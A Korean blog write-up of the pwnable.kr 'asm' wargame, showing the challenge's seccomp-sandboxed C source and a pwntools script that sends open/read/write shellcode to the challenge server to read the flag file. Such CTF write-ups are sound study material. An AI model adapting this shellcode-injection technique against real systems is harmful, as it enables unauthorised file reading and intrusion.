tmxklab

[pwnable.kr] asm 본문

War Game/pwnable.kr

[pwnable.kr] asm

tmxk4221 2020. 12. 2. 15:47

1. 문제 확인

asm@pwnable:~$ ls -l
total 28
-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm
-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c
-rw-r--r-- 1 root root   211 Nov 19  2016 readme
-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

엄청 긴.... 이름의 플래그 파일이 보인다.

 

readme확인

asm@pwnable:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

 

[ asm.c ]

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

read로 입력 값을 받고 sandbox()에서 seccomp필터링을 거친 뒤에 sh에 저장된 쉘 코드를 실행하는 듯하다.

 

ftp로 asm바이너리 파일을 다운받고 디버깅 해보면서 확인해보자


2. 접근 방법

 

[ stub 코드 확인 ]

rsp랑 rip빼고 전부 다 0으로 초기화한다.

 

 

이후에 stub코드 다음에 위치부터 입력 값을 0x3e8(1000)byte입력받을 수 있다.

 

이제 쉘 코드를 작성해야 하는데 seccomp필터 셋에는 orw과 exit, exit_group의 syscall만 가능하다고 한다.

그러면 open → read → write순으로 플래그 값을 읽어서 화면에 출력해주는 순으로 쉘 코드를 작성해보자

 

64bit환경의 syscall table은 다음 링크에서 참고하도록 하자.

 

Linux system call table 정리(32bit, 64bit)

어셈블리어로 쉘 코드를 작성할 때 종종 system call table을 찾아보는 일이 있어서 간략하게 정리하도록 하였다. system call 이란? 운영체제에서 커널 모드와 유저 모드로 나뉘게 되는데 유저 단에서

rninche01.tistory.com

 

 

 


3. 문제 풀이

 

걍 귀찮아서 shellcraft를 이용해서 풀었다..

 

익스코드)

from pwn import *

context(log_level = "debug", arch="amd64", os="linux")

p = remote("pwnable.kr", 9026)
#p = process("./asm")
#gdb.attach(p)

shellcode = asm(shellcraft.amd64.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"))
shellcode += asm(shellcraft.amd64.read(3, "rsp", 30))
shellcode += asm(shellcraft.amd64.write(1, "rsp", 30))

p.send(shellcode)

p.interactive()

파일 명 줄 때 아스테리크(*)가 안먹혀서 그냥 풀네임으로 쳤는데 되네..ㅋㅋㅋ

 

실행 결과)

 


4. 몰랐던 개념

 

'War Game > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] blukat  (0) 2020.12.02
[pwnable.kr] unlink  (0) 2020.12.02
[pwnable.kr] memcpy  (0) 2020.12.02
[pwnable.kr] uaf  (0) 2020.12.02
[pwnable.kr] cmd2  (0) 2020.12.02
Comments